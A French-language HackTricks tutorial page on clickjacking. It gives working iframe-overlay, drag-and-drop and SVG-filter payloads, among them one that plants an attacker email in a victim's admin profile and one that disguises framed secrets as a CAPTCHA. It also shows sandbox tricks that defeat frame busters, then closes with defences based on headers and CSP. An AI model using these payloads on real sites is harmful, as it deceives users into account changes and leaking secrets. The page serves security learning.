Clickjacking

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que le Clickjacking

Dans une attaque de clickjacking, un utilisateur est trompé pour cliquer sur un élément d’une page web qui est soit invisible soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences imprévues pour l’utilisateur, telles que le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture d’identifiants ou d’informations sensibles, des transferts d’argent ou l’achat en ligne de produits.

Astuce de préremplissage des formulaires

Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramètres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l’utilisateur appuie sur le bouton Submit.

Remplir un formulaire avec Glisser&Déposer

Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d’entrer des informations spécifiques (comme l’email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Glisser&Déposer quelque chose qui écrira vos données contrôlées comme dans this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload en plusieurs étapes

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si vous avez identifié une attaque XSS qui nécessite qu’un utilisateur clique sur un élément pour déclencher le XSS et que la page est vulnérable au clickjacking, vous pouvez en abuser pour tromper l’utilisateur afin qu’il clique sur le bouton/le lien.
Example:
Vous avez trouvé un self XSS dans certaines informations privées du compte (détails que vous seul pouvez définir et lire). La page contenant le formulaire pour définir ces informations est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les paramètres GET.
Un attaquant pourrait préparer une attaque de Clickjacking vers cette page en préremplissant le formulaire avec le XSS payload et en trompant l’utilisateur pour qu’il clique sur le bouton Submit du formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiées, l’utilisateur exécutera le XSS.

DoubleClickjacking

D’abord expliqué dans cet article, cette technique demande à la victime de double-cliquer sur un bouton d’une page personnalisée placée à un emplacement spécifique, et utilise les différences de timing entre les événements mousedown et onclick pour charger la page de la victime durant le double click afin que la victime clique en fait sur un bouton légitime dans la page de la victime.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Cette technique permet de tromper l’utilisateur pour qu’il clique en un seul endroit sur la page victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des actions sensibles pouvant être effectuées en un seul clic, comme les invites OAuth acceptant des permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Les versions modernes de Chromium/WebKit/Gecko permettent d’appliquer via CSS filter:url(#id) des filtres sur des iframes cross-origin. Les pixels rasterisés de l’iframe sont exposés au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent déformer arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, même si l’attaquant ne touche jamais au DOM. Un simple filtre de type Liquid-Glass ressemble à :

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitives utiles : feImage loads attacker bitmaps (e.g., overlays, displacement maps); feFlood builds constant-color mattes; feOffset/feGaussianBlur affinent les highlights; feDisplacementMap réfracte/déforme le texte; feComposite operator="arithmetic" implémente des mathématiques par canal arbitraires (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisantes pour le boost de contraste, le masquage, et les opérations AND/OR; feTile découpe et réplique des pixel probes; feMorphology agrandit/rétrécit les traits; feColorMatrix déplace la luma dans l’alpha pour construire des masques précis.

Distorting secrets into CAPTCHA-style prompts

If a framable endpoint renders secrets (tokens, reset codes, API keys), the attacker can distort them so they resemble a CAPTCHA and coerce manual transcription:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Les pixels déformés trompent l’utilisateur en le faisant « résoudre » le captcha à l’intérieur de l’<input> contrôlé par l’attaquant dont le pattern impose le vrai secret de la victime.

Recontextualisation des saisies de la victime

Les filtres peuvent supprimer chirurgicalement le texte de placeholder/validation tout en conservant les frappes de l’utilisateur. Un flux de travail :

  1. feComposite operator="arithmetic" k2≈4 amplifie la luminosité, de sorte que le texte d’aide gris devienne blanc.
  2. feTile limite la zone de travail au rectangle de l’input.
  3. feMorphology operator="erode" épaissit les glyphes sombres tapés par la victime et les stocke via result="thick".
  4. feFlood crée une plaque blanche, feBlend mode="difference" avec thick, et un second feComposite k2≈100 le transforme en un masque de luminance contrasté.
  5. feColorMatrix place cette luminance dans l’alpha, et feComposite in="SourceGraphic" operator="in" conserve uniquement les glyphes saisis par l’utilisateur.
  6. Another feBlend in2="white" plus a thin crop gives a clean textbox, after which the attacker overlays their own HTML labels (e.g., “Enter your email”) while the hidden iframe still enforces the victim origin’s password policy.

Safari struggles with feTile; the same effect can be reproduced with spatial mattes built from feFlood + feColorMatrix + feComposite for WebKit-only payloads.

Sondes de pixels, logique et machines d’état

En rognant une région de 2–4 px avec feTile et en la mosaïquant sur 100% du viewport, l’attaquant transforme la couleur échantillonnée en une texture plein-cadre qui peut être seuillée en un masque booléen :

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Pour des couleurs arbitraires, une référence feFlood (par ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmétique (k2≈100, k4 comme tolérance) produit du blanc uniquement lorsque le pixel échantillonné correspond à la teinte cible. En alimentant ces masques dans feComposite avec k1..k4 réglés, on obtient des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre du blanc. En chaînant les portes on construit un additionneur complet dans le graphe de filtres, prouvant que le pipeline est fonctionnellement complet.

Les attaquants peuvent donc lire l’état de l’UI sans JavaScript. Exemples de booléens dans un workflow de fenêtre modale :

  • D (dialog visible) : sonder un coin assombri et tester contre le blanc.
  • L (dialog loaded) : sonder les coordonnées où le bouton apparaît une fois prêt.
  • C (checkbox checked) : comparer le pixel de la checkbox avec le bleu actif #0B57D0.
  • R (red success/failure banner) : utiliser feMorphology et des seuils rouges à l’intérieur du rectangle de la bannière.

Chaque état détecté commande un bitmap d’overlay différent intégré via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisés avec le dialog réel et guide la victime à travers des workflows multi-étapes (réinitialisations de mot de passe, approbations, confirmations destructrices) sans jamais exposer le DOM.

Browser extensions: DOM-based autofill clickjacking

Outre l’utilisation d’iframes pour charger des pages victimes, les attaquants peuvent cibler les éléments d’UI des extensions du navigateur injectés dans la page. Les gestionnaires de mots de passe affichent des menus déroulants de remplissage automatique près des champs focalisés ; en focalisant un champ contrôlé par l’attaquant et en cachant/obstruant le dropdown de l’extension (opacité/superposition/astuces de couche supérieure), un clic contraint de l’utilisateur peut sélectionner un élément enregistré et remplir des données sensibles dans des inputs contrôlés par l’attaquant. Cette variante n’exige aucune exposition via iframe et fonctionne entièrement via manipulation DOM/CSS.

Stratégies pour atténuer le Clickjacking

Défenses côté client

Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking :

  • S’assurer que la fenêtre de l’application est la fenêtre principale (top window).
  • Rendre toutes les frames visibles.
  • Empêcher les clics sur des frames invisibles.
  • Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.

Cependant, ces scripts anti-frame peuvent être contournés :

  • Paramètres de sécurité des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou de l’absence de support JavaScript.
  • Attribut sandbox de l’iframe HTML5 : Un attaquant peut neutraliser les scripts de frame buster en définissant l’attribut sandbox avec les valeurs allow-forms ou allow-scripts sans allow-top-navigation. Cela empêche l’iframe de vérifier si elle est la fenêtre principale, p. ex.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Les valeurs allow-forms et allow-scripts autorisent des actions à l’intérieur de l’iframe tout en désactivant la navigation au niveau supérieur. Pour garantir le fonctionnement prévu du site ciblé, des permissions supplémentaires comme allow-same-origin et allow-modals peuvent être nécessaires, selon le type d’attaque. Les messages dans la console du navigateur peuvent indiquer quelles permissions autoriser.

Server-Side Defenses

X-Frame-Options

L’en-tête de réponse HTTP X-Frame-Options informe les navigateurs de la légitimité du rendu d’une page dans un <frame> ou <iframe>, aidant à prévenir le Clickjacking:

  • X-Frame-Options: deny - Aucun domaine ne peut afficher le contenu dans un frame.
  • X-Frame-Options: sameorigin - Seul le site courant peut afficher le contenu dans un frame.
  • X-Frame-Options: allow-from https://trusted.com - Seule l’URI spécifiée peut afficher la page dans un frame.
  • Notez les limitations : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP est la méthode conseillée pour la protection contre le Clickjacking:

  • frame-ancestors 'none' - Similaire à X-Frame-Options: deny.
  • frame-ancestors 'self' - Similaire à X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similaire à X-Frame-Options: allow-from.

Par exemple, la CSP suivante n’autorise le rendu dans un frame que depuis le même domaine:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d’autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.

frame-src Directive

  • Définit les sources valides pour les frames.
  • Plus spécifique que la directive default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Cette politique autorise les frames provenant de la même origine (self) et de https://trusted-website.com.

child-src Directive

  • Introduit dans CSP level 2 pour définir les sources valides pour les web workers et les frames.
  • Sert de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Cette politique autorise les frames et les workers depuis la même origine (self) et https://trusted-website.com.

Notes d’utilisation :

  • Dépréciation : child-src est en cours de suppression au profit de frame-src et worker-src.
  • Comportement de repli : Si frame-src est absent, child-src est utilisé comme solution de repli pour les frames. Si les deux sont absents, default-src est utilisé.
  • Définition stricte des sources : n’incluez que des sources de confiance dans les directives pour prévenir toute exploitation.

JavaScript Frame-Breaking Scripts

Bien qu’ils ne soient pas complètement infaillibles, les JavaScript-based frame-busting scripts peuvent être utilisés pour empêcher qu’une page web soit affichée dans un frame. Exemple:

if (top !== self) {
top.location = self.location
}

Utilisation des Anti-CSRF Tokens

  • Validation du token: Utilisez des anti-CSRF tokens dans les applications web pour garantir que les requêtes modifiant l’état sont effectuées intentionnellement par l’utilisateur et non via une page Clickjacked.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks